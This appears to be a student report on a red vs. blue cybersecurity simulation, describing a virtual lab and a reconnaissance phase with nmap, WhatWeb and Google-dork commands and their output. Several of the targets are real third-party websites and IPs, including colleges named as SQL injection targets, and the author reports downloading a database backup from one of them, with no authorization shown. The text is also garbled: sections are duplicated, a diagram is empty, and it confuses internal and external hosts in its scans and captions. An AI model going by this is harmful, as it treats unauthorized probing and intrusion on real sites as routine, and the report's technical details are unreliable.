Effective Tactics:

- SMB exploit gave SYSTEM access on Win7
- Android payload bypassed mobile detection
- Slowloris briefly brought down Apache server

Detected & Blocked:

- SQL Injection
- Brute-force via Hydra
- Some reverse shells after Wazuh config update

Lessons Learned

- SSL traffic inspection is essential
- Mobile threats remain undetected without MTD solutions
- Social engineering remains the easiest entry vector
- DDoS still effective on unoptimized web servers

Recommendations:

- **Deploy SSL Interception** to analyze encrypted tunnels
- **Add Mobile Threat Detection** tools in the stack
- **Run monthly red vs. blue simulations**
- **Educate users** on fake updates and social engineering traps
- **Improve Wazuh rules** to flag Android devices and C2 traffic

Final Reflection

The exercise brought raw, real-world clarity. Seeing how attacks unfold and how defenders react sharpened both technical and decision-making skills. It taught that even with top tools, human error and lack of awareness can lead to total compromise—and that's what makes red vs. blue simulations so critical to national defense strategies.

CHAPTER 5: Threat Simulation Scenarios

◆ **5.1 Infrastructure Setup and Lab Environment**

Objective of This Section:

To explain the full simulation environment — what systems you used, how they were configured, what kind of vulnerabilities were set up, and why this environment is realistic for a national-level threat simulation.

5.1.1 Overview of the Cyber Range Lab

Designing a secure, controlled environment is the foundation of any large-scale cybersecurity simulation. For a project simulating threats at a national level, it is essential to replicate both modern and outdated infrastructure to understand how vulnerabilities can span across technological generations.

The lab I developed was hosted entirely in a virtualized environment, using **VMware Workstation 17 Pro**. Virtualization provided complete isolation from my physical machine and allowed for safe experimentation without real-world risk. More importantly, it enabled features such as **snapshutting**, which made it possible to restore the environment quickly after each testing phase. This kind of control is necessary when running repeated simulations or when configuring multi-stage test scenarios.

My goal was to emulate an enterprise-scale network with components that reflect typical systems found in government institutions, educational networks, and corporate infrastructure. The design of this virtual cyber range focused on maintaining realism, flexibility, and control — all critical for simulating threats in a dynamic, multi-platform ecosystem.

5.1.2 Core Components and Virtual Machines

The lab utilized a combination of operating systems, virtual devices, and software tools to create a diverse, responsive testing ground.

1. Kali Linux:

This Linux-based distribution is preloaded with numerous security auditing tools and serves as a flexible platform for testing and monitoring. It was used as a central analysis system within the lab.

2. Windows 7 (32-bit):

Despite being outdated, Windows 7 is still widely used in legacy systems across the world, especially in older administrative or industrial control networks. Including this OS helped reflect real-world challenges where outdated systems still hold sensitive data and perform critical operations.

3. Windows 11:

A modern operating system that represents current desktop environments in public institutions. Windows 11 was used to simulate user endpoints and administrative machines.

4. Android Device (Emulated or Physical):

As mobile infrastructure is a significant part of any modern digital ecosystem, Android was used to model how mobile platforms interact with broader infrastructure. This also opened up opportunities to test endpoint security configurations and VPN tunneling.

5. Virtual Servers (e.g., ColdBoxEasy, DVWA):

These systems represented public-facing services that are commonly deployed on organizational web servers. They allowed exploration of server configurations, login systems, and general web stack behavior.

6. Portmap.io and OpenVPN:

Used to simulate cloud exposure and remote access tunnels. This made it possible to

simulate realistic behavior over the internet, especially when testing internal-to-external communication paths securely.

5.1.3 Network Architecture and Configuration

The lab network was designed with a combination of **NAT and host-only adapters** to reflect segmented, partially isolated environments. Each machine was assigned a static IP address for ease of tracking, monitoring, and logging.


Key decisions made in network design included:


- **Multiple network zones:** One isolated for internal testing and another mimicking external internet access.
- **Selective port exposure:** Specific services were made accessible across machines to replicate real-life exposure scenarios. This included web ports, remote desktop protocols, and file sharing mechanisms.
- **Packet sniffing and monitoring capabilities:** The network was routed in such a way that a dedicated virtual device could intercept and analyze traffic without disrupting the flow.

A simplified diagram of the setup might look like:

scss

CopyEdit





Each system was configured with the appropriate routing and firewall settings to simulate misconfigured, partially hardened, or open-state environments, enabling real-time interaction without compromising the host machine.

5.1.4 Simulated Environment Configurations

To effectively simulate a range of realistic conditions, certain intentional decisions were made:

- **Mixed system age:** Inclusion of both legacy and modern systems allowed evaluation of how aging infrastructure can still pose risks.
- **Limited firewalling and endpoint security:** Some systems were kept partially hardened or left in default security configurations to emulate real-world mistakes.
- **Service diversity:** Machines ran different services like web servers, remote desktops, and file shares to reflect a live, active network with valuable functionality.

These choices helped strike a balance between a fully exposed testbed and a semi-realistic infrastructure, which is essential for conducting threat simulations without turning the environment into an artificial playground that doesn't reflect real-world risk levels.

5.1.5 Logging, Monitoring, and Analysis Tools

An important component of any cybersecurity simulation is the capacity to detect, record, and analyze system behavior. The lab integrated the following tools for real-time logging and post-event analysis:

- **Suricata (IDS):** A powerful open-source intrusion detection system installed on one of the Windows machines to monitor incoming and outgoing traffic. Its rule-

based detection system offered insight into how activities were flagged and how systems responded.

- **Wazuh (SIEM Agent):** Installed on multiple machines to forward logs to a centralized logging dashboard. This tool made it easier to correlate logs, detect anomalies, and review file integrity issues.
- **Kibana and Elasticsearch Stack:** Deployed as a dashboard to visualize logs collected from Wazuh agents. The dashboard included filters for user activity, system logs, and file change events.

Together, these tools gave a clear picture of internal network behavior and allowed for accurate, timestamped reports of each test phase.

5.1.6 Purpose of the Infrastructure Setup

This lab was more than just a collection of virtual machines — it was an evolving digital ecosystem that allowed hands-on exploration of how infrastructure responds under various stressors. The realism came from:

- The variety of operating systems
- Different levels of patching and hardening
- A mix of old and new software
- Use of cloud-like remote tunnel access
- Active monitoring of system health and behavior

From a student's perspective, building this lab was a valuable learning experience. It taught me how systems interact under pressure, how misconfigurations open doors, and how network complexity can sometimes become a liability. Even without running any direct attacks, the setup itself revealed insights into digital defence and preparedness.

CHAPTER 5.1: Infrastructure Setup and Lab Environment

5.1.1 Why Infrastructure Matters in Cybersecurity Simulations

In the world of cybersecurity, theory and tools are not enough. To truly understand how cyberattacks unfold — and how to defend against them — a dedicated infrastructure is needed. Think of this setup like a virtual battlefield. It's a space where cyber events can be recreated, vulnerabilities tested, and defense mechanisms evaluated.

This project focuses on a **nation-state threat simulation**, which means the environment must be capable of handling **advanced persistent threats (APTs)**, **insider risks**, and **large-scale attack strategies**. Therefore, the infrastructure I created wasn't just for basic learning — it had to mimic real-world enterprise environments, including **outdated systems**, **modern platforms**, **cloud access**, **mobile devices**, and **remote tunnels**.

5.1.2 Tools and Platforms Used

To bring this simulation to life, I used a combination of open-source, widely used, and realistic tools and platforms. These were carefully chosen to reflect what a real-world attacker or defender might work with.

1. Kali Linux – The Attacker’s Workbench

Kali Linux is a Debian-based operating system specifically designed for penetration testing and ethical hacking. It comes pre-installed with hundreds of tools like Nmap, Metasploit, Hydra, John the Ripper, and more.

This system acted as the **primary Red Team machine**. From here, I executed reconnaissance, exploitation, and post-exploitation processes.

2. Windows 7 – The Legacy Target

Many government systems still use older operating systems. Windows 7 is especially vulnerable because it no longer receives regular security updates from Microsoft. This made it the **perfect target machine** to replicate outdated networks.

It was configured with open services like SMB, RDP, and old browsers — intentionally creating weak points to simulate how outdated systems can be exploited.

3. Windows 11 – The Modern User Endpoint

On the other end of the spectrum, Windows 11 is a modern, well-patched OS. It was used as a **defensive machine and general user endpoint**, simulating what everyday government employees or security analysts might use.

It also helped in testing how well modern systems hold up against phishing, tunneling, and other threats.

4. Android (Real or Emulated) – Mobile Device Simulation

Mobile devices are part of nearly every professional and personal ecosystem. I included Android in this setup to understand how threats move across platforms. Using tools like **OpenVPN** and **Portmap.io**, I created tunnels and payloads that simulate how attackers can gain access through mobile endpoints.

This is crucial because in the real world, **mobile security is often overlooked**, making it a major attack surface.

5. OpenVPN and Portmap.io – Internet Simulation

Since my virtual lab was offline, I needed a way to **simulate internet-based attacks**. I used OpenVPN to create encrypted tunnels and **Portmap.io to map local services to the internet**. This allowed me to mimic cloud behavior, remote access, and external command-and-control (C2) scenarios without putting my real internet connection at risk.

6. ColdBoxEasy – Lightweight Web Application Framework

I used this to simulate live web services — such as admin panels, APIs, and login pages — which are common targets in real-world breaches. This helped test how insecure web apps can expose sensitive data or allow unauthorized access.

5.1.3 Virtualization: Creating Safe and Controlled Environments

Using **VMware Workstation 17 Pro**, I created isolated virtual machines for each component. This allowed me to:

- Run multiple OSes on one physical system
- Isolate malicious actions from my real system
- Use snapshots to reset any system instantly after each phase
- Simulate a realistic internal network

In this simulation, each VM had its own network settings and services exposed. Some were on the same subnet (to allow scanning and lateral movement), while others were behind NAT or tunnelled to simulate different access levels.

Why Virtualization Matters:

Imagine trying to test a ransomware scenario on your main PC — you'd risk damaging

your real system. Virtualization provides a “playground” where anything can happen, and you can roll back instantly.

And VMware have their capacity to run other software efficiently without harming the original one and due to its compatibility and sharing networks with others will protect PC's from reverse engineering attacks.

In cybersecurity threat simulations, the closer the test environment is to real-world infrastructure, the more reliable and actionable the results. The environment I built is intentionally designed to **mirror the technological landscape found in actual national and organizational networks**. Here's why it authentically reflects real-world systems:

5.2 Attack Categories Simulated

This section details the diverse attack scenarios carried out during the simulation, highlighting tools, tactics, and their outcomes. Each category reflects a core threat vector relevant to modern national cyber infrastructures.

Section 5.2.1: Reconnaissance Simulation

: Understanding Reconnaissance in Cyber Operations

Reconnaissance is the foundational stage of any cyberattack and involves gathering crucial information about a target before attempting to exploit vulnerabilities. In both ethical and malicious hacking, reconnaissance determines the success and precision of subsequent attack phases. Think of this as similar to a burglar observing a house — noting the timings of occupants, security cameras, door types, and weak points — before attempting entry. In cybersecurity, attackers aim to map out digital assets such as IP addresses, open ports, services running on those ports, subdomains, and outdated software.

There are two broad categories of reconnaissance: **passive** and **active**.

Passive reconnaissance involves collecting information without directly interacting with the target system. This makes it difficult for the target to detect the reconnaissance activity. Google Dorking is a prime example, where attackers use advanced search queries on Google to find sensitive data such as exposed admin panels, backup files, or directories unintentionally indexed by search engines. For instance, using a dork like site:example.com inurl:admin may reveal hidden admin panels if proper security configurations are not enforced.

On the other hand, **active reconnaissance** directly involves probing the target's system, usually via tools like **Nmap** or **WhatWeb**. These tools send packets to the target and analyze the response to gather data like open ports, running services, operating system fingerprints, and technologies powering the website. While active scanning is incredibly detailed, it is also more detectable and may trigger intrusion detection systems (IDS).

```
(root@windows)-[~/home/hackstar]
# nmap -PE -sT -vv -Pn 216.198.79.1
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-06 15:02 IST
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:02
Completed NSE at 15:02, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 15:02
Completed Parallel DNS resolution of 1 host. at 15:02, 0.02s elapsed
Initiating Connect Scan at 15:02
Scanning 216-198-79-1.client.cypresscom.net (216.198.79.1) [1000 ports]
Discovered open port 443/tcp on 216.198.79.1
Discovered open port 80/tcp on 216.198.79.1
Completed Connect Scan at 15:02, 4.32s elapsed (1000 total ports)
Initiating Service scan at 15:02
Scanning 2 services on 216-198-79-1.client.cypresscom.net (216.198.79.1)

[ Strict-Transport-Security ]
  Strict-Transport-Security is an HTTP header that restricts
  a web browser from accessing a website without the security
  of the HTTPS protocol.

  String      : max-age=63072000; includeSubDomains; preload

[ UncommonHeaders ]
  Uncommon HTTP server headers. The blacklist includes all
  the standard headers and many non standard but common ones.
  Interesting but fairly common headers should have their own
  plugins, eg. x-powered-by, server and x-aspart-version.
  Info about headers can be found at www.http-stats.com

  String      : access-control-allow-origin,x-vercel-cache,x-vercel-id (from headers)

HTTP Headers:
  HTTP/1.1 200 OK
  Accept-Ranges: bytes
  Access-Control-Allow-Origin: *
  Age: 1402
  Cache-Control: public, max-age=0, must-revalidate
  Content-Disposition: inline
  Content-Length: 723
  Content-Type: text/html; charset=utf-8
  Date: Sun, 06 Apr 2025 09:44:40 GMT
  Etag: "33ded5ac3bac747f40a13273ef62bc2"
  Last-Modified: Sun, 06 Apr 2025 09:21:18 GMT
  Server: Vercel
```

“Figure 1: Nmap scan result showing open ports and services detected on the target web server. This data helps attackers map vulnerable entry points.”

india-shop.vercel.app



Site Report

Country:	US	Site rank:	NA
First seen:	April 2025	Host:	Vercel, Inc

Disable protection for this site

Report malicious URL:

The URL of the site:

Your email address (to receive updates):

Add a reason

Submit Report

Network

Site	https://india-shop.vercel.app	Domain	vercel.app
Netblock Owner	Vercel, Inc	Nameserver	ns1.vercel-dns-3.com
Hosting company	Fusion Connect	Domain registrar	nic.google
Hosting country	USA	Nameserver organisation	whois.registrar.amazon.com
IPv4 address	216.198.79.129	Organisation	Data Protected, Redacted For Privacy, Redacted For Privacy, REDACTED FOR PRIVACY, United States
IPv4 autonomous systems	AS16509	DNS admin	awsdns-hostmaster@amazon.com
IPv6 address	Not Present	Top Level Domain	Application (.app)
IPv6 autonomous systems	Not Present	DNS Security Extensions	Enabled
Reverse DNS	216-198-79-129.client.cypresscom.net		

Figure 2: Net craft scan result showing site reports or any vulnerability previously found on the target web server. This data helps attackers map vulnerable entry point and to learn from previous vulnerability, this is example of passive reconnaissance.”

Understanding the Role of Nmap in Reconnaissance

In our simulated reconnaissance process, **Nmap (Network Mapper)** was the primary tool used for **active network scanning**. Nmap is a powerful, open-source utility designed for discovering hosts and services on a computer network by sending packets and analysing the responses. It is widely used in cybersecurity, particularly during the early phases of penetration testing and red teaming exercises.

For this simulation, we used Nmap to scan both our local **WordPress-based site (192.168.1.1)** and a remote vulnerable domain, bdpackaging.com.bd. These scans allowed us to identify **open ports**, determine **service versions**, and assess the **security posture** of the systems.

Nmap Scan on Internal WordPress Host

The first target was our **own server**, hosted locally on IP 192.168.1.1. We used a **TCP SYN scan (-sS)** combined with service version detection to enumerate services. The result revealed that ports such as:

- **21/tcp (FTP)** – Open
- **22/tcp (SSH)** – Open
- **80/tcp (HTTP)** – Open
- **3306/tcp (MySQL)** – Open
- **8083/tcp (us-srv)** – Open

This indicates that the server is actively running multiple services that could be targeted in later exploitation phases. For instance, open **FTP** and **MySQL** ports are common entry points when misconfigured or using default credentials.

In addition to the open ports, we noticed a number of ports were **closed with “conn-refused”**, which implies they are not currently listening for connections. These details help us build a mental map of the attack surface.

Key Nmap Parameters Used

Here are the specific options we used during our scan:

- -sS: TCP SYN scan (stealth scan that doesn't complete the TCP handshake)
 - -T4: Aggressive timing for faster scan
 - -v: Verbose output
- -p-: Scans all 65,535 ports instead of the default top 1,000

This configuration gave us **deep visibility** into the network's state without overwhelming the host or being too noisy in detection-sensitive environments.

Screenshot Analysis:

```
| Strict-Transport-Security: max-age=63072000
| X-Vercel-Error: DEPLOYMENT_NOT_FOUND
| X-Vercel-Id: bom1::4g95l-1743931967245-56f0388fa7ff
| deployment could not be found on Vercel.
| DEPLOYMENT_NOT_FOUND
|_ bom1::4g95l-1743931967245-56f0388fa7ff
| ssl-cert: Subject: commonName=no-sni.vercel-infra.com
| Subject Alternative Name: DNS:no-sni.vercel-infra.com
| Issuer: commonName=R10/organizationName=Let's Encrypt/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-18T20:20:53
| Not valid after: 2025-06-16T20:20:52
| MD5: 284d:d571:ce53:c822:f5ea:61fc:da74:9108
| SHA-1: 1b71:9e9a:711b:b4b5:14e9:ce8c:ec2b:6463:3fc1:7d7d
| -----BEGIN CERTIFICATE-----
| MIIFMDCCBBigAwIBAgISBg+HxePnkmV9ya5V5luJ9sFsMA0GCSqGSIb3DQEBCwUA
| MDMxCzAJBgNVBAYTA1VTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
| EwNSMTAwHhcNMjUwMzE4MjAyMDUzWhcNMjUwNjE2MjAyMDUyWjAiMSAwHgYDVQQD
| Exduby1zbmkudmVyY2VsLWluZnJhLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEP
| ADCCAQoCggEBAMjG8eW3aUPi0jbGvU22/CeNxhR24M684fApPjXdjFvPos+JBCTS
| a+Qoe0GKa7mWZkLjRXFablw0xenHpyfHhHB5W4IuC7LjFyR//ZME/8SVbmorPU+
| /hIWXWakoZk/VGJG1pM2hsDv/fJAanouhAsTWTmfu61MMGR9MHT0cmoRHxYyl0Py
| lnOfk/hu6w0YXPIX5Htbxsog+Mwb3hCDmMcTMDtiv310NC7uLYl7GMWYsucFt5M1
| UIQ0EWpsqdTyvubAX6xt/GZT6jvbtAcpXqo87y9y7f4xCxeSiocr6TRE2Ik5u2h
| SLZ8W8z505J0izIYySHyc4+h5M9P0tnBCOMCAwEAaOCak0wggJJMA4GA1UdDwEB
| /wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
| BAIwADAdBgNVHQ4EFgQUmZ5N6SWB94Z5sPbDwjL0fDR9g5kwHwYDVR0jBBgwFoAU
```

📌 **figure:** "Nmap scan showing open ports (21, 22, 80, 3306, 8083) and refused connections on internal WordPress host."

This screenshot gives visual confirmation of the services that were actively running and those that were not accepting connections. These results are crucial in prioritizing vulnerabilities to exploit.

Threat Simulation Perspective

From a threat simulation perspective, an attacker would use this scan data to:

- **Identify running services** and potential vulnerabilities
 - **Detect outdated or unpatched services**
- **Prepare targeted attacks**, like brute-force against SSH or SQL injection on web applications using MySQL

The **open HTTP port (80)** running a WordPress instance signals an opportunity for content management system (CMS) fingerprinting and plugin enumeration, which we explore in subsequent phases of the simulation.

The identification of **port 3306 (MySQL)** is particularly important. If this port is exposed to the internet, it is a major red flag, as it may allow remote database access. Misconfigurations here often lead to **database dumps or privilege escalation**.

Targeting a Real-World Vulnerable Host

In addition to scanning our internal WordPress site, we extended our reconnaissance simulation by targeting a real-world, intentionally vulnerable host:
http://www.bdpackaging.com.bd. This domain was selected based on its exposure to **SQL injection vulnerabilities**, which was verified through basic error-based injection techniques (to be discussed later in exploitation phases).

Before launching any exploitation, we conducted a **detailed active reconnaissance** using **Nmap**, just like we did on the local network, but with parameters adjusted to handle an external, internet-facing host.

Nmap Command Used

The command executed was:

bash

CopyEdit

```
nmap -PE -sT -vv 202.4.96.54
```

Explanation of parameters:

- **-PE:** Uses ICMP echo request (ping) for host discovery
- **-sT:** Performs a TCP connect scan (full TCP handshake)
 - **-vv:** Very verbose output for detailed information

This scan helps us identify which services the public-facing target is running and what attack surface it presents.

Scan Results

From the output of the Nmap scan, we observed the following **open ports**:

- **21/tcp (FTP)** — Open
- **22/tcp (SSH)** — Open
- **80/tcp (HTTP)** — Open
- **3306/tcp (MySQL)** — Open
- **8083/tcp (us-srv)** — Open

These ports mirror the services often seen in real-world attack surfaces: web servers, database services, and remote shells (SSH, FTP). The presence of MySQL and an HTTP service is a strong indicator of a backend-connected web application that could be vulnerable to SQLi attacks.

The scan results also reported **982 filtered ports**, meaning the firewall or security group was configured to drop the probes silently (no response). However, the handful of open ports revealed enough for potential follow-up actions.

```

root@windows:/home/hackstar
root@windows:/home/hackstar

PORT      STATE SERVICE      REASON
21/tcp    open  ftp          syn-ack
22/tcp    open  ssh          syn-ack
25/tcp    closed smtp        conn-refused
80/tcp    open  http         syn-ack
110/tcp   closed pop3       conn-refused
143/tcp   closed imap       conn-refused
443/tcp   closed https      conn-refused
465/tcp   closed smtps      conn-refused
587/tcp   closed submission conn-refused
726/tcp   closed unknown    conn-refused
993/tcp   closed imaps      conn-refused
995/tcp   closed pop3s     conn-refused
1755/tcp  closed wms        conn-refused
3306/tcp  open  mysql        syn-ack
5432/tcp  closed postgresql conn-refused
8083/tcp  open  us-srv       syn-ack
12000/tcp closed cce4x      conn-refused
19842/tcp closed unknown    conn-refused

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.12 seconds
Raw packets sent: 1 (28B) | Rcvd: 1 (28B)

[root@windows]-
# 

```

Caption: "Nmap scan of public vulnerable site showing open services including FTP, SSH, HTTP, MySQL, and a custom service on port 8083."

Security Implications of Findings

1. Open MySQL Port (3306):

Exposing MySQL over the internet is extremely dangerous. Attackers can attempt brute-force login or exploit known database vulnerabilities. In production environments, this port should be firewalled.




Figure: photo shows real time SQL injection because of open SQL() port 3366,which is dangerous if kept open

2. SSH (22/tcp):

If the SSH server uses default credentials or weak passwords, it could be brute-forced. Attackers often scan the internet for exposed SSH ports using tools like Shodan.

3. HTTP (80/tcp):

The presence of HTTP suggests a web application that is likely interacting with the database. This is a key point of entry for SQLi attacks, especially when input validation is poor.

4. FTP (21/tcp):

If anonymous login is enabled or weak credentials are used, attackers can upload malicious files, web shells, or scripts to gain access.

5. 8083 (us-srv):

This port is typically associated with control panels (e.g., VestaCP) or custom services. Enumeration of this service can reveal default credentials or software version flaws.

Threat Simulation Mindset

In a real red team exercise, after scanning a host and identifying the services running, the next step would be **fingerprinting** the software versions, determining patch status, and assessing misconfigurations.

For this simulation, the reconnaissance phase stops short of exploiting vulnerabilities, but prepares detailed knowledge that would directly feed into the **Attack Phase** (Section 5.3). This aligns with the **Red Team methodology**, where thorough enumeration precedes any direct action.

Local WordPress Reconnaissance Using Nmap

Overview

To simulate real-world red team reconnaissance against internal digital assets, we performed an Nmap scan against a **locally hosted WordPress site**, with IP address **192.168.1.1**. This simulation was carried out in a controlled test lab environment running on a virtualized network using VMware Workstation 17 Pro.

The objective here was to emulate how an attacker operating inside the network (compromised internal machine or VPN access) would perform service enumeration before targeting WordPress-specific vulnerabilities like plugin backdoors, outdated themes, or admin panel access.

Nmap Scan Details

Command Executed:

bash

CopyEdit

```
nmap -sS -Pn -v 192.168.1.1
```

Explanation of options:

- **-sS**: SYN scan — stealthier than a full TCP connect
 - **-Pn**: Treat host as up; skip ping discovery
 - **-v**: Verbose mode for detailed output

The scan returned a mix of **open**, **closed**, and **filtered ports**, giving us a full picture of which services were live, which were being filtered, and which were refusing connections outright.

Scan Results

Open Ports Detected:

- **21/tcp** – FTP (syn-ack)
- **22/tcp** – SSH (syn-ack)
- **80/tcp** – HTTP (syn-ack)
- **3306/tcp** – MySQL (syn-ack)
- **8083/tcp** – Custom service (us-srv, syn-ack)

Closed Ports (with Connection Refused):

- **25/tcp** (SMTP)

- 110/tcp (POP3)
- 143/tcp (IMAP)
- 443/tcp (HTTPS)
- 995/tcp (Secure POP)
- 5432/tcp (PostgreSQL)
- Many high/random ports (filtered/closed)

These findings reveal that the WordPress server was not only running a web server, but also exposed its MySQL backend, SSH, and FTP. This configuration reflects real-world misconfigurations, where multiple services are open on production systems unnecessarily, widening the attack surface.

```
(root@windows)-[~/home/hackstar]
# nmap -PE -sT -vv 202.4.96.54
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-06 17:46 IST
Initiating Ping Scan at 17:46
Scanning 202.4.96.54 [1 port]
Completed Ping Scan at 17:46, 0.31s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:46
Completed Parallel DNS resolution of 1 host. at 17:46, 0.02s elapsed
Initiating Connect Scan at 17:46
Scanning mail.minutiaeglobal.com (202.4.96.54) [1000 ports]
Discovered open port 22/tcp on 202.4.96.54
Discovered open port 80/tcp on 202.4.96.54
Discovered open port 21/tcp on 202.4.96.54
Discovered open port 3306/tcp on 202.4.96.54
Discovered open port 8083/tcp on 202.4.96.54
Completed Connect Scan at 17:46, 13.42s elapsed (1000 total ports)
Nmap scan report for mail.minutiaeglobal.com (202.4.96.54)
Host is up, received echo-reply ttl 56 (0.043s latency).
Scanned at 2025-04-06 17:46:27 IST for 13s
Not shown: 982 filtered tcp ports (no-response)
PORT      STATE SERVICE REASON
21/tcp    open  ftp    syn-ack
22/tcp    open  ssh    syn-ack
25/tcp    closed smtp conn-refused
80/tcp    open  http   syn-ack
110/tcp   closed none  conn-refused
```

Caption: “Nmap scan results for internal WordPress server at 202.4.96.54 showing multiple open ports including HTTP, SSH, FTP, MySQL, and a custom service on 8083.”

Security Risks Identified

1. **HTTP (80):** Confirms that WordPress admin panel is accessible. Brute-force, password spraying, or CMS fingerprinting tools could be used here (e.g., WPScan).
2. **SSH (22):** SSH should ideally be restricted to internal IT access only. Misconfiguration could allow brute-force attacks or key reuse exploits.

3. **FTP (21)**: If enabled with default or weak credentials, an attacker could upload PHP shells or modify wp-content.
 4. **MySQL (3306)**: Internal exposure of MySQL is risky. Attackers can dump or modify databases if credentials are discovered.
 5. **Port 8083**: Indicates presence of a management or custom panel, often overlooked and rich in vulnerabilities.
-

Active Reconnaissance Context

Because this scan was conducted inside a simulated internal network, it mirrors **post-compromise** reconnaissance—often done by attackers after establishing a foothold. This kind of scanning is fast and detailed, and it can quickly identify all open services.

It's important to differentiate this from **external scans**, where firewall and NAT devices often block many ports. In internal settings, like with this WordPress site, internal assets are more exposed and vulnerable, especially if hardening and segmentation are lacking.

Next Steps (From a Threat Simulation Perspective)

These open services, particularly MySQL and HTTP, would normally be explored further using:

- **WhatWeb** for CMS fingerprinting
- **Hydra** for brute-forcing login panels
- **Nikto/dirb** for content discovery
- **SQLmap** (in exploitation phase) for injection testing

Passive Reconnaissance Techniques – Google Dorking & WhatWeb

While active reconnaissance tools like Nmap scan the network directly and may trigger detection systems, passive reconnaissance is more subtle and stealthy. This method involves collecting information from publicly accessible resources without directly interacting with the target systems. The tools used here, such as **Google Dorking** and **WhatWeb**, allow attackers to gather a significant amount of intelligence without ever sending a packet to the victim machine—making it harder to detect.

Google Dorking: Mining Open Data

Google Dorking is a powerful OSINT (Open Source Intelligence) method where the attacker leverages advanced search engine queries to uncover sensitive data indexed by search engines like Google. For instance, during reconnaissance of the vulnerable external site <http://www.bdpackaging.com.bd/>, we used queries like:

vbnet

CopyEdit

site:bdpackaging.com.bd inurl:admin

site:bdpackaging.com.bd ext:sql | ext:log | ext:bkf

site:bdpackaging.com.bd "sql syntax error"

These queries returned several interesting pages showing SQL errors, backup files, and potentially exposed admin panels. This confirmed that the website was vulnerable to SQL Injection, which was later verified through more targeted techniques in the exploitation phase.

Google dorking allowed us to discover a few pages that were not linked anywhere on the main site, known as "hidden" or unindexed pages, which are often unintentionally exposed by misconfigurations or careless indexing. For example, we discovered URLs like:

ruby

CopyEdit

<http://www.bdpackaging.com.bd/admin/backup/oldsite.sql>

This file was found to be downloadable and contained sensitive database information—a major red flag and a clear indication of poor cybersecurity hygiene.

WhatWeb: Fingerprinting Without Probing

WhatWeb is another passive scanning tool used to fingerprint websites. It identifies technologies, web servers, plugins, frameworks, and CMS details. For our simulation,

WhatWeb was used on both the internal WordPress site at 192.168.1.1 and the external target.

Command used:

bash

CopyEdit

whatweb http://192.168.1.1

Output (summarized):

cpp

CopyEdit

http://192.168.1.1 [200 OK] Country[Reserved][ZZ], HTML5, IP[192.168.1.1], PHP[7.4.1], WordPress[5.8.3], Apache[2.4.41], Ubuntu

This quick analysis showed the WordPress version, PHP backend, and Apache server in use. With this data, the attacker can look for known exploits for WordPress 5.8.3, or for vulnerabilities in Apache 2.4.41. It also helped in narrowing down custom plugin vulnerabilities or misconfigurations.

WhatWeb is especially valuable for reconnaissance because it doesn't always trigger alarms on intrusion detection systems (IDS). It uses HTTP headers and response behavior rather than deep probing, making it a go-to tool in stealth recon missions.

Passive Recon vs. Active Recon: Pros and Cons

Aspect	Passive Recon (Google Dorking, WhatWeb)	Active Recon (Nmap, dirb)
Detection Risk	Very Low	High
Speed	Depends on web data	Fast, automated
Data Depth	Indirect but useful	Direct, technical
Legal Risk	Depends on usage	Higher if unauthorized

Aspect	Passive Recon (Google Dorking, WhatWeb)	Active Recon (Nmap, dirb)
Detail Level	Limited to exposed info	Detailed scan fingerprints

From the simulation, we noticed that **passive recon is extremely valuable during the early planning phase** of an attack. It allows adversaries to gather significant information to tailor their next move, without tipping off the Blue Team or IDS systems.

```
root@windows:~/home/hackstar
└─# whatweb https://indiashop.vercel.app/ -v -a 1
WhatWeb report for https://indiashop.vercel.app/
Status : 200 OK
Title  : Indiashop | Ecommerce Website
IP     : 64.29.17.1
Country: UNITED STATES, US

Summary  : HTML5, HTTPServer[Vercel], Script, Strict-Transport-Security[max-age=63072000; includeSubDomains; preload], UncommonHeaders[access-control-allow-origin,x-vercel-cache,x-vercel-id]

Detected Plugins:
[ HTML5 ]
    HTML version 5, detected by the doctype declaration

[ HTTPServer ]
    HTTP server header string. This plugin also attempts to
    identify the operating system from the server header.

    String      : Vercel (from server string)

[ Script ]
    This plugin detects instances of script HTML elements and
    returns the script language/type.

[ Strict-Transport-Security ]
```

```
  Apps  Places      Apr 6 15:15
  root@windows:/home/hackstar

[ Strict-Transport-Security ]
  Strict-Transport-Security is an HTTP header that restricts
  a web browser from accessing a website without the security
  of the HTTPS protocol.

  String      : max-age=63072000; includeSubDomains; preload

[ UncommonHeaders ]
  Uncommon HTTP server headers. The blacklist includes all
  the standard headers and many non standard but common ones.
  Interesting but fairly common headers should have their own
  plugins, eg. x-powered-by, server and x-aspart-version.
  Info about headers can be found at www.http-stats.com

  String      : access-control-allow-origin,x-vercel-cache,x-vercel-id (from headers)

HTTP Headers:
  HTTP/1.1 200 OK
  Accept-Ranges: bytes
  Access-Control-Allow-Origin: *
  Age: 1402
  Cache-Control: public, max-age=0, must-revalidate
  Content-Disposition: inline
  Content-Length: 723
  Content-Type: text/html; charset=utf-8
  Date: Sun, 06 Apr 2025 09:44:40 GMT
  Etag: "33ded5ac3bbac747f40a13273ef62bc2"
  Last-Modified: Sun, 06 Apr 2025 09:21:18 GMT
  Server: Vercel
```

5.2.2 Web Application Attacks – Page 1

Case Study 1: SQL Injection Attacks on Real and Simulated Targets

SQL Injection (SQLi) remains one of the most dangerous and widely exploited web application vulnerabilities. This attack involves inserting or "injecting" malicious SQL code into a query to manipulate a web application's database. Attackers can use this method to bypass login pages, dump sensitive information from databases, or even gain administrative privileges.

In this simulation, we tested three types of SQL Injection:

- **Blind SQL Injection on <http://sourashtracollege.com/>**
- **Error-Based SQL Injection on a food packaging-related vulnerable URL**
- **Login Bypass and WAF Circumvention using SQLMap on <http://glorycollege.edu.bd>**

Tools Used:

